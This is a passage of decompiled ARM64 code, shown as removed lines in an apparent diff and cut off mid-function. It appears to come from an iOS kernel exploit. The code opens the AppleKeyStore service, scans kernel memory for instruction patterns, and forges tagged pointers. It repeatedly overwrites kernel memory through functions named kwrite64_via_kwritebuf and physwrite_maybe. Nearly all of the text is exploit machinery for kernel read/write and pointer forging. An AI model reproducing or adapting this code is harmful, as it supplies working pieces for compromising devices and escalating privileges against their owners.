((v31 == 0) & (a4 >> 8)) == 0 && v30 ) - { - if ( (~a4 & 0x500) == 0 && *(_QWORD *)(a1 + 0xA0) ) - v33 = *(_QWORD *)(a1 + 0xA0); - v40 = v33 & ~v44; - if ( v33 == a3 ) - v40 = a3; - v41 = (v30 + v44) & ~v44; - v42 = v41 >= v40; - v43 = v41 - v40; - if ( v42 ) - { - *(_QWORD *)(a1 + 0xE0) = v40; - *(_QWORD *)(a1 + 0xE8) = v43; - return sub_19E58(a1); - } - else - { - return 0LL; - } - } - return result; -} - -//----- (000000000001A4FC) ---------------------------------------------------- -bool __fastcall sub_1A4FC(__int64 a1, int a2, __int64 a3, int a4) -{ - return (unsigned int)sub_1A0F4(a1, a2, a3, a4 | 0x100u) != 0; -} - -//----- (000000000001A520) ---------------------------------------------------- -void __fastcall sub_1A520(__int64 a1) -{ - void **v2; // x0 - void *v3; // x0 - - sub_19E04(a1); - v2 = *(void ***)(a1 + 0xD0); - if ( v2 ) - { - if ( *v2 ) - { - free(*v2); - v2 = *(void ***)(a1 + 0xD0); - *v2 = 0LL; - } - free(v2); - *(_QWORD *)(a1 + 0xD0) = 0LL; - } - if ( *(_QWORD *)a1 ) - { - free(*(void **)a1); - *(_QWORD *)a1 = 0LL; - } - v3 = *(void **)(a1 + 0x108); - if ( v3 ) - { - free(v3); - *(_QWORD *)(a1 + 0x108) = 0LL; - } -} - -//----- (000000000001A58C) ---------------------------------------------------- -__int64 __fastcall sub_1A58C(__int64 a1, _QWORD **a2, __int64 a3) -{ - unsigned __int64 v6; // x25 - __int64 result; // x0 - unsigned __int64 v8; // x0 - unsigned int v9; // w27 - unsigned __int64 v10; // x0 - _DWORD *v11; // x22 - __int64 v12; // x0 - unsigned __int64 v13; // x22 - __int64 v14; // x28 - __int64 v15; // x23 - int v16; // w0 - _DWORD *v18; // x22 - __int64 v19; // x0 - unsigned __int64 v20; // x21 - __int64 v21; // x23 - __int64 v22; // x0 - __int64 v23; // x22 - __int64 v24; // x23 - unsigned int v25; // w24 - __int64 v26; // x21 - unsigned int v27; // w23 - unsigned __int64 v28; // x0 - unsigned int v29; // w21 - unsigned int v30; // w8 - __int128 v31; // [xsp+10h] [xbp-90h] BYREF - unsigned int v32; // [xsp+20h] [xbp-80h] - __int128 v33; // [xsp+30h] [xbp-70h] BYREF - int v34; // [xsp+40h] [xbp-60h] - - v6 = *(_QWORD *)algn_480E0; - if ( strstr((const char *)qword_480D8, "T8020") ) - return 5LL; - *(_OWORD *)a1 = xmmword_43270; - *(_OWORD *)(a1 + 0x10) = xmmword_43280; - *(_QWORD *)(a1 + 0x20) = 0xEA2305C0EA140568LL; - *(_DWORD *)(a1 + 0x28) = 0x2BCB05C8; - *(_QWORD *)&v33 = 0xD65F03C0F9402400LL; - *(_QWORD *)&v31 = 0xFFFFFFFFFFFFFFFFLL; - *(_QWORD *)(a1 + 0x30) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 2u); - v33 = xmmword_43290; - v31 = xmmword_432A0; - *(_QWORD *)(a1 + 0x38) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 4u); - v33 = xmmword_432B0; - v31 = xmmword_432A0; - *(_QWORD *)(a1 + 0x40) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 4u); - *(_QWORD *)&v33 = 0xD65F03C0D508831FLL; - *(_QWORD *)&v31 = 0xFFFFFFFFFFFFFFFFLL; - *(_QWORD *)(a1 + 0x48) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 2u); - if ( v6 < 0x918C5A83400LL ) - { - v9 = 0xA903027F; - *(_QWORD *)&v33 = 0xD65F03C0F9000041LL; - *(_QWORD *)&v31 = 0xFFFFFFFFFFFFFFFFLL; - v8 = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 2u); - } - else - { - *(_QWORD *)&v33 = 0xD65F03C0F9000022LL; - *(_QWORD *)&v31 = 0xFFFFFFFFFFFFFFFFLL; - v8 = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 2u); - v9 = 0xA90302DF; - } - *(_QWORD *)(a1 + 0x50) = v8; - *(_QWORD *)&v33 = 0x52820002AA0003E8LL; - DWORD2(v33) = 0x72A003A2; - *(_QWORD *)&v31 = 0xFFFFFFFFFFFFFFFFLL; - DWORD2(v31) = 0xFFFFFFFF; - *(_QWORD *)(a1 + 0x58) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 3u); - *(_QWORD *)&v33 = 0x17000000B2400000LL; - *(_QWORD *)&v31 = 0xFF000000FFFFFFFFLL; - *(_QWORD *)(a1 + 0x60) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 2u) + 8; - v33 = xmmword_432C0; - *(_QWORD *)&v31 = 0xFFFFFFFFFFFFFFFFLL; - *((_QWORD *)&v31 + 1) = 0xFFFFFFFFFFFFFFFFLL; - *(_QWORD *)(a1 + 0x68) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 4u); - v33 = xmmword_432D0; - *(_QWORD *)&v31 = 0xFFFFFFFFFFFFFFFFLL; - *((_QWORD *)&v31 + 1) = 0xFFFFFFFFFFFFFFFFLL; - v10 = sub_40024((__int64)a2, (__int64)&v33, (__int64)&v31, 4u); - *(_QWORD *)(a1 + 0x78) = v10 - 8; - v11 = *(_DWORD **)(a3 + 0x20); - v12 = sub_10660(a3, v10 + 0x10); - v13 = sub_29D2C(v11, v12); - v14 = 0LL; - while ( 1 ) - { - v15 = sub_3FF78((__int64)a2, *a2, v13 + v14); - v16 = sub_3FF78((__int64)a2, *a2, v13 + v14 + 8); - if ( (v15 & 0xFC000000) == 0x94000000 && v16 == v9 ) - break; - v14 += 4LL; - if ( (_DWORD)v14 == 0x1000 ) - goto LABEL_14; - } - *(_QWORD *)(a1 + 0x70) = v13 + (v15 << 0x26 >> 0x24) + v14; -LABEL_14: - v18 = *(_DWORD **)(a3 + 0x20); - v19 = sub_10660(a3, *(_QWORD *)(a1 + 0x78) + 0x18LL); - v20 = sub_29D2C(v18, v19); - v21 = 0LL; - while ( 1 ) - { - v22 = sub_3FF78((__int64)a2, *a2, v20 + v21); - if ( (v22 & 0xFC000000) == 0x94000000 && v20 + v21 + (v22 << 0x26 >> 0x24) == *(_QWORD *)(a1 + 0x70) ) - break; - v21 += 4LL; - if ( (_DWORD)v21 == 0x300 ) - { - v23 = 0LL; - goto LABEL_20; - } - } - v23 = v20 + v21; -LABEL_20: - v24 = 0LL; - if ( v6 <= 0x918C5A833FFLL ) - v25 = 0xF9001660; - else - v25 = 0xF90016C0; - while ( 1 ) - { - v26 = v23 + v24; - if ( (unsigned int)sub_3FF78((__int64)a2, *a2, v23 + v24) == v25 ) - break; - v24 -= 4LL; - if ( (_DWORD)v24 == 0xFFFFFF80 ) - { - v26 = 0LL; - break; - } - } - v27 = sub_3FF78((__int64)a2, *a2, v26 + 4); - *(_QWORD *)(a1 + 0x80) = ((v26 + 4) & 0xFFFFFFFFFFFFF000LL) - + 2LL * (int)((v27 >> 0x12) & 0x1800 | (v27 >> 5 << 0xD)) - + (((unsigned int)sub_3FF78((__int64)a2, *a2, v26 + 8) >> 7) & 0x7FF8); - v33 = xmmword_43350; - v34 = 0x78E13108; - v31 = xmmword_43364; - v32 = 0xFFFFFFFF; - v28 = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 5u); - *(_QWORD *)(a1 + 0x88) = v28; - v29 = sub_3FF78((__int64)a2, *a2, v28 + 4); - v30 = sub_3FF78((__int64)a2, *a2, *(_QWORD *)(a1 + 0x88) + 8LL); - result = 0LL; - *(_QWORD *)(a1 + 0x88) = ((*(_QWORD *)(a1 + 0x88) + 4LL) & 0xFFFFFFFFFFFFF000LL) - + 2LL * (int)((v29 >> 0x12) & 0x1800 | (v29 >> 5 << 0xD)) - + ((v30 >> 7) & 0x7FF8); - return result; -} -// 43270: using guessed type __int128 xmmword_43270; -// 43280: using guessed type __int128 xmmword_43280; -// 43290: using guessed type __int128 xmmword_43290; -// 432A0: using guessed type __int128 xmmword_432A0; -// 432B0: using guessed type __int128 xmmword_432B0; -// 432C0: using guessed type __int128 xmmword_432C0; -// 432D0: using guessed type __int128 xmmword_432D0; -// 43350: using guessed type __int128 xmmword_43350; -// 43364: using guessed type __int128 xmmword_43364; -// 480D8: using guessed type __int64 qword_480D8; -// 480E0: using guessed type _BYTE algn_480E0[32]; - -//----- (000000000001AA90) ---------------------------------------------------- -__int64 __fastcall sub_1AA90(__int64 result) -{ - __int64 v1; // x19 - - if ( *(_DWORD *)(result + 0x14) ) - { - v1 = result; - do - { - if ( (_ReadStatusReg(ARM64_SYSREG(3, 3, 0xD, 0, 2)) & 0xFFC) != 0 ) - result = thread_switch(*(_DWORD *)(v1 + 0x14), 0, 0); - } - while ( *(_DWORD *)(v1 + 0x14) ); - } - return result; -} - -//----- (000000000001AADC) ---------------------------------------------------- -__int64 __fastcall sub_1AADC(__int64 a1, __int64 a2) -{ - const __CFDictionary *v4; // x0 - io_service_t MatchingService; // w0 - unsigned __int64 v6; // x21 - __int64 v7; // x0 - unsigned __int64 v8; // x23 - _DWORD *v9; // x24 - __int64 v10; // x0 - unsigned __int64 v11; // x0 - __int64 v12; // x24 - __int64 v13; // x25 - __int64 v14; // x0 - _DWORD *v15; // x24 - __int64 v16; // x0 - unsigned __int64 v17; // x0 - __int64 v18; // x24 - __int64 v19; // x25 - __int64 v20; // x0 - _DWORD *v21; // x24 - __int64 v22; // x0 - unsigned __int64 v23; // x0 - __int64 v24; // x24 - __int64 v25; // x25 - __int64 v26; // x0 - _DWORD *v27; // x24 - __int64 v28; // x0 - unsigned __int64 v29; // x0 - __int64 v30; // x24 - __int64 v31; // x25 - __int64 v32; // x0 - _DWORD *v33; // x24 - __int64 v34; // x0 - unsigned __int64 v35; // x0 - __int64 v36; // x24 - __int64 v37; // x25 - __int64 v38; // x0 - _DWORD *v39; // x24 - __int64 v40; // x0 - unsigned __int64 v41; // x0 - __int64 v42; // x24 - __int64 v43; // x25 - __int64 v44; // x0 - _DWORD *v45; // x24 - __int64 v46; // x0 - unsigned __int64 v47; // x0 - __int64 v48; // x24 - __int64 v49; // x25 - __int64 v50; // x0 - _DWORD *v51; // x24 - __int64 v52; // x0 - unsigned __int64 v53; // x0 - __int64 v54; // x24 - __int64 v55; // x25 - __int64 v56; // x0 - _DWORD *v57; // x24 - __int64 v58; // x0 - unsigned __int64 v59; // x0 - __int64 v60; // x23 - __int64 v61; // x24 - __int64 v62; // x0 - __int64 v63; // x23 - __int64 v64; // x24 - __int64 v65; // x0 - __int64 v66; // x23 - __int64 v67; // x24 - __int64 v68; // x0 - __int64 v69; // x23 - __int64 v70; // x24 - __int64 v71; // x0 - __int64 v72; // x0 - __int64 v73; // x22 - __int64 v74; // x0 - __int64 v75; // x0 - __int64 result; // x0 - __int128 v77; // [xsp+10h] [xbp-50h] BYREF - - v4 = IOServiceMatching("AppleKeyStore"); - MatchingService = IOServiceGetMatchingService(kIOMasterPortDefault, v4); - IOServiceOpen(MatchingService, mach_task_self_, 0, (io_connect_t *)a2); - v6 = sub_224B4(*(_QWORD *)a1, *(_DWORD *)a2); - *(_QWORD *)(a2 + 0x18) = sub_10660(*(_QWORD *)a1, v6 + 0x48); - v7 = sub_10660(*(_QWORD *)a1, v6); - *(_QWORD *)(a2 + 0x20) = v7; - v8 = sub_29D2C(*(_DWORD **)(*(_QWORD *)a1 + 0x20LL), v7); - v77 = xmmword_432E0; - *(_QWORD *)(a2 + 0x10) = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( - *(_QWORD *)(a1 + 8), - qword_480A0, - 2LL, - &v77); - v9 = *(_DWORD **)(*(_QWORD *)a1 + 0x20LL); - v10 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48048); - v11 = sub_29D2C(v9, v10); - v12 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_48048; - v13 = *(_QWORD *)a1; - v14 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( - *(_QWORD *)(a1 + 8), - v11, - v12 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4804A << 0x30)); - kwrite64_via_kwritebuf(v13, v12, v14); - v15 = *(_DWORD **)(*(_QWORD *)a1 + 0x20LL); - v16 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_4804C); - v17 = sub_29D2C(v15, v16); - v18 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_4804C; - v19 = *(_QWORD *)a1; - v20 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( - *(_QWORD *)(a1 + 8), - v17, - v18 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4804E << 0x30)); - kwrite64_via_kwritebuf(v19, v18, v20); - v21 = *(_DWORD **)(*(_QWORD *)a1 + 0x20LL); - v22 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48050); - v23 = sub_29D2C(v21, v22); - v24 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_48050; - v25 = *(_QWORD *)a1; - v26 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( - *(_QWORD *)(a1 + 8), - v23, - v24 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48052 << 0x30)); - kwrite64_via_kwritebuf(v25, v24, v26); - v27 = *(_DWORD **)(*(_QWORD *)a1 + 0x20LL); - v28 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48054); - v29 = sub_29D2C(v27, v28); - v30 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_48054; - v31 = *(_QWORD *)a1; - v32 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( - *(_QWORD *)(a1 + 8), - v29, - v30 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48056 << 0x30)); - kwrite64_via_kwritebuf(v31, v30, v32); - v33 = *(_DWORD **)(*(_QWORD *)a1 + 0x20LL); - v34 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48058); - v35 = sub_29D2C(v33, v34); - v36 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_48058; - v37 = *(_QWORD *)a1; - v38 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( - *(_QWORD *)(a1 + 8), - v35, - v36 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4805A << 0x30)); - kwrite64_via_kwritebuf(v37, v36, v38); - v39 = *(_DWORD **)(*(_QWORD *)a1 + 0x20LL); - v40 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_4805C); - v41 = sub_29D2C(v39, v40); - v42 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_4805C; - v43 = *(_QWORD *)a1; - v44 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( - *(_QWORD *)(a1 + 8), - v41, - v42 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4805E << 0x30)); - kwrite64_via_kwritebuf(v43, v42, v44); - v45 = *(_DWORD **)(*(_QWORD *)a1 + 0x20LL); - v46 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48060); - v47 = sub_29D2C(v45, v46); - v48 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_48060; - v49 = *(_QWORD *)a1; - v50 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( - *(_QWORD *)(a1 + 8), - v47, - v48 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48062 << 0x30)); - kwrite64_via_kwritebuf(v49, v48, v50); - v51 = *(_DWORD **)(*(_QWORD *)a1 + 0x20LL); - v52 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48070); - v53 = sub_29D2C(v51, v52); - v54 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_48070; - v55 = *(_QWORD *)a1; - v56 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( - *(_QWORD *)(a1 + 8), - v53, - v54 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48072 << 0x30)); - kwrite64_via_kwritebuf(v55, v54, v56); - v57 = *(_DWORD **)(*(_QWORD *)a1 + 0x20LL); - v58 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48064); - v59 = sub_29D2C(v57, v58); - v60 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_48064; - v61 = *(_QWORD *)a1; - v62 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( - *(_QWORD *)(a1 + 8), - v59, - v60 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48066 << 0x30)); - kwrite64_via_kwritebuf(v61, v60, v62); - v63 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_4806C; - v64 = *(_QWORD *)a1; - v65 = (*(__int64 (__fastcall **)(_QWORD, __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( - *(_QWORD *)(a1 + 8), - qword_48078, - v63 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4806E << 0x30)); - kwrite64_via_kwritebuf(v64, v63, v65); - v66 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_48068; - v67 = *(_QWORD *)a1; - v68 = (*(__int64 (__fastcall **)(_QWORD, __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( - *(_QWORD *)(a1 + 8), - qword_48078 + 4, - v66 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4806A << 0x30)); - kwrite64_via_kwritebuf(v67, v66, v68); - v69 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_48064; - v70 = *(_QWORD *)a1; - v71 = (*(__int64 (__fastcall **)(_QWORD, __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( - *(_QWORD *)(a1 + 8), - qword_48078 + 4, - v69 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48066 << 0x30)); - kwrite64_via_kwritebuf(v70, v69, v71); - v77 = xmmword_432E0; - v72 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( - *(_QWORD *)(a1 + 8), - qword_480A0, - 2LL, - &v77); - *(_QWORD *)(a2 + 8) = v72; - kwrite64_via_kwritebuf(*(_QWORD *)a1, v72 + 0x10, 0LL); - kwrite64_via_kwritebuf(*(_QWORD *)a1, v6 + 0x48, *(_QWORD *)(a2 + 8)); - sub_10708(*(_QWORD *)a1, v6 + 0x9C, 0x111); - v73 = *(_QWORD *)a1; - v74 = (*(__int64 (__fastcall **)(_QWORD, _QWORD, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x20LL))( - *(_QWORD *)(a1 + 8), - *(_QWORD *)(a2 + 0x10), - v6 & 0xFFFFFFFFFFFFLL | 0xCDA1000000000000LL); - kwrite64_via_kwritebuf(v73, v6, v74); - *(_QWORD *)&v77 = *(_QWORD *)(a2 + 8); - v75 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( - *(_QWORD *)(a1 + 8), - qword_480B0, - 1LL, - &v77); - result = physwrite_maybe(*(_QWORD *)(*(_QWORD *)a1 + 0x20LL), v75, a2 + 0x28); - **(_QWORD **)(a2 + 0x28) = 0LL; - return result; -} -// 0: using guessed type int def_3E8F0; -// 4: using guessed type int dword_4; -// 8: using guessed type int dword_8; -// C: using guessed type int; -// 10: using guessed type int dword_10; -// 14: using guessed type int; -// 18: using guessed type int; -// 1C: using guessed type int; -// 20: using guessed type segment_command_64 stru_20; -// 38870: using guessed type __int64 __fastcall sub_38870(_QWORD, _QWORD, _QWORD); -// 432E0: using guessed type __int128 xmmword_432E0; -// 48048: using guessed type __int16 word_48048; -// 4804A: using guessed type __int16 word_4804A; -// 4804C: using guessed type __int16 word_4804C; -// 4804E: using guessed type __int16 word_4804E; -// 48050: using guessed type __int16 word_48050; -// 48052: using guessed type __int16 word_48052; -// 48054: using guessed type __int16 word_48054; -// 48056: using guessed type __int16 word_48056; -// 48058: using guessed type __int16 word_48058; -// 4805A: using guessed type __int16 word_4805A; -// 4805C: using guessed type __int16 word_4805C; -// 4805E: using guessed type __int16 word_4805E; -// 48060: using guessed type __int16 word_48060; -// 48062: using guessed type __int16 word_48062; -// 48064: using guessed type __int16 word_48064; -// 48066: using guessed type __int16 word_48066; -// 48068: using guessed type __int16 word_48068; -// 4806A: using guessed type __int16 word_4806A; -// 4806C: using guessed type __int16 word_4806C; -// 4806E: using guessed type __int16 word_4806E; -// 48070: using guessed type __int16 word_48070; -// 48072: using guessed type __int16 word_48072; -// 48078: using guessed type __int64 qword_48078; -// 480A0: using guessed type __int64 qword_480A0; -// 480B0: using guessed type __int64 qword_480B0; - -//----- (000000000001B158) ---------------------------------------------------- -__int64 __fastcall sub_1B158(__int64 a1, __int64 a2) -{ - unsigned __int64 v4; // x21 - __int64 result; // x0 - __int64 v6; // [xsp+8h] [xbp-38h] BYREF - __int64 v7; // [xsp+10h] [xbp-30h] - - v4 = sub_224B4(*(_QWORD *)a1, *(_DWORD *)a2); - kwrite64_via_kwritebuf(*(_QWORD *)a1, v4 + 0x48, *(_QWORD *)(a2 + 0x18)); - kwrite64_via_kwritebuf(*(_QWORD *)a1, v4, *(_QWORD *)(a2 + 0x20)); - sub_10708(*(_QWORD *)a1, v4 + 0x9C, 0); - sub_38BCC(*(_QWORD *)(*(_QWORD *)a1 + 0x20LL)); - v6 = *(_QWORD *)(a2 + 8); - v7 = 0x4000LL; - (*(void (__fastcall **)(_QWORD, __int64, __int64, __int64 *))(**(_QWORD **)(a1 + 8) + 8LL))( - *(_QWORD *)(a1 + 8), - qword_480A8, - 2LL, - &v6); - v6 = *(_QWORD *)(a2 + 0x10); - v7 = 0x4000LL; - (*(void (__fastcall **)(_QWORD, __int64, __int64, __int64 *))(**(_QWORD **)(a1 + 8) + 8LL))( - *(_QWORD *)(a1 + 8), - qword_480A8, - 2LL, - &v6); - result = IOServiceClose(*(_DWORD *)a2); - *(_DWORD *)a2 = 0; - return result; -} -// 480A8: using guessed type __int64 qword_480A8; - -//----- (000000000001B280) ---------------------------------------------------- -__int64 __fastcall sub_1B280(__int64 a1) -{ - __int128 v3; // [xsp+20h] [xbp-30h] BYREF - - v3 = xmmword_432E0; - *(_QWORD *)&v3 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( - *(_QWORD *)(a1 + 8), - qword_480A0, - 2LL, - &v3); - (*(void (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( - *(_QWORD *)(a1 + 8), - qword_480B0, - 1LL, - &v3); - (*(void (__fastcall **)(_QWORD, __int64))(**(_QWORD **)(a1 + 8) + 0x30LL))(*(_QWORD *)(a1 + 8), 0x12LL); - return (*(__int64 (__fastcall **)(_QWORD, __int64))(**(_QWORD **)(a1 + 8) + 0x30LL))(*(_QWORD *)(a1 + 8), 0x10LL); -} -// 432E0: using guessed type __int128 xmmword_432E0; -// 480A0: using guessed type __int64 qword_480A0; -// 480B0: using guessed type __int64 qword_480B0; - -//----- (000000000001B360) ---------------------------------------------------- -__int64 __fastcall sub_1B360(__int64 a1, _QWORD **a2) -{ - _QWORD *i; // x8 - __int16 j; // w8 - mach_port_name_t v6; // w0 - thread_act_t v7; // w0 - __int64 result; // x0 - integer_t policy_info[4]; // [xsp+30h] [xbp-30h] BYREF - - for ( i = *a2; *i; i = *a2 ) - sched_yield(); - for ( j = _ReadStatusReg(ARM64_SYSREG(3, 3, 0xD, 0, 2)); - (j & 0xFFC) != 0; - j = _ReadStatusReg(ARM64_SYSREG(3, 3, 0xD, 0, 2)) ) - { - v6 = mach_thread_self(); - thread_switch(v6, 0, 0); - } - *(_OWORD *)policy_info = xmmword_432F0; - v7 = mach_thread_self(); - thread_policy_set(v7, 2u, policy_info, 4u); - result = (*(__int64 (__fastcall **)(_QWORD, __int64))(**(_QWORD **)(a1 + 8) + 0x30LL))(*(_QWORD *)(a1 + 8), 0x35LL); - **a2 = 2LL; - return result; -} -// 432F0: using guessed type __int128 xmmword_432F0; - -//----- (000000000001B42C) ---------------------------------------------------- -__int64 __fastcall sub_1B42C(_QWORD *a1) -{ - unsigned __int64 v2; // x26 - thread_act_t v3; // w0 - uintptr_t v4; // x20 - __int64 v5; // x21 - __int64 v6; // x0 - __int64 v7; // x21 - __int64 v8; // x0 - __int64 v9; // x0 - __int64 v10; // x21 - __int64 v11; // x0 - __int64 v12; // x22 - __int64 v13; // x21 - __int64 v14; // x0 - __int64 v16; // x0 - __int64 v17; // x0 - __int64 v18; // x21 - __int64 v19; // x23 - __int64 v20; // x0 - __int64 v21; // x21 - __int64 v22; // x23 - __int64 v23; // x8 - __int64 v24; // x0 - bool v25; // zf - __int64 v26; // x24 - __int64 v27; // x21 - __int64 v28; // x0 - unsigned __int64 v29; // x8 - __int64 v30; // x28 - unsigned __int64 v31; // x8 - mach_port_name_t v32; // w0 - __int64 v33; // x8 - int v34; // w21 - __int64 v35; // x9 - __int64 v36; // x20 - __int64 v37; // [xsp+40h] [xbp-400h] - unsigned __int64 v38; // [xsp+48h] [xbp-3F8h] - __int64 v39; // [xsp+50h] [xbp-3F0h] - __int64 v40; // [xsp+58h] [xbp-3E8h] - __int64 v41; // [xsp+60h] [xbp-3E0h] - __int64 v42; // [xsp+68h] [xbp-3D8h] - uintptr_t v43; // [xsp+70h] [xbp-3D0h] - unsigned __int64 v44; // [xsp+78h] [xbp-3C8h] - __int64 v45; // [xsp+88h] [xbp-3B8h] - uintptr_t v46; // [xsp+90h] [xbp-3B0h] - _QWORD v47[12]; // [xsp+A8h] [xbp-398h] BYREF - pthread_t v48; // [xsp+108h] [xbp-338h] BYREF - _QWORD v49[5]; // [xsp+110h] [xbp-330h] BYREF - __int64 v50; // [xsp+138h] [xbp-308h] BYREF - __int128 policy_info; // [xsp+140h] [xbp-300h] BYREF - _OWORD connect[2]; // [xsp+150h] [xbp-2F0h] BYREF - __int128 v53; // [xsp+170h] [xbp-2D0h] - __int128 v54; // [xsp+180h] [xbp-2C0h] - __int128 v55; // [xsp+190h] [xbp-2B0h] - __int128 v56; // [xsp+1A0h] [xbp-2A0h] - __int128 v57; // [xsp+1B0h] [xbp-290h] BYREF - _QWORD v58[64]; // [xsp+1C8h] [xbp-278h] BYREF - - v2 = *(_QWORD *)algn_480E0; - if ( strstr((const char *)qword_480D8, "T8020") ) - return 5LL; - v55 = 0u; - v56 = 0u; - v53 = 0u; - v54 = 0u; - memset(connect, 0, sizeof(connect)); - sub_1AADC(a1, connect); - policy_info = xmmword_43300; - v3 = mach_thread_self(); - thread_policy_set(v3, 2u, (thread_policy_t)&policy_info, 4u); - v57 = xmmword_432E0; - v4 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(*(_QWORD *)a1[1] + 8LL))( - a1[1], - qword_480A0, - 2LL, - &v57); - kwrite64_via_kwritebuf(*a1, v4, 0xBEE5000000010003LL, 1LL); - kwrite64_via_kwritebuf(*a1, v4 + 8, v4 + 256, 1LL); - kwrite64_via_kwritebuf(*a1, v4 + 16, v4 + 512, 1LL); - kwrite64_via_kwritebuf(*a1, v4 + 24, v4 + 768, 1LL); - v57 = xmmword_432E0; - v5 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(*(_QWORD *)a1[1] + 8LL))( - a1[1], - qword_480A0, - 2LL, - &v57); - while ( 1 ) - { - v6 = (*(__int64 (__fastcall **)(_QWORD, __int64))(*(_QWORD *)a1[1] + 48LL))(a1[1], 48LL); - if ( (unsigned __int8)v6 != 6LL ) - break; - sub_1B280(a1); - } - if ( v6 ) - return 5LL; - v45 = sub_10660(*a1, v5); - v7 = *(_QWORD *)(*a1 + 32LL); - v8 = sub_10660(*a1, *(_QWORD *)(*a1 + 16LL) + 40LL); - v9 = sub_29D2C(v7, v8); - v10 = *(_QWORD *)(*a1 + 32LL); - v11 = sub_10660(*a1, v9 + 64); - v12 = sub_29D2C(v10, v11); - v57 = xmmword_432E0; - v13 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(*(_QWORD *)a1[1] + 8LL))( - a1[1], - qword_480A0, - 2LL, - &v57); - kwrite64_via_kwritebuf(*a1, v13, 0LL, 1LL); - v58[0] = v13; - (*(void (__fastcall **)(_QWORD, __int64, __int64, _QWORD *))(*(_QWORD *)a1[1] + 8LL))(a1[1], qword_480B0, 1LL, v58); - while ( 1 ) - { - v14 = (*(__int64 (__fastcall **)(_QWORD, __int64))(*(_QWORD *)a1[1] + 48LL))(a1[1], 10LL); - if ( (unsigned __int8)v14 != 6LL ) - break; - sub_1B280(a1); - } - if ( v14 ) - return 5LL; - MEMORY[0x400004008] = 0x41414141LL; - v16 = sub_10660(*a1, v12); - 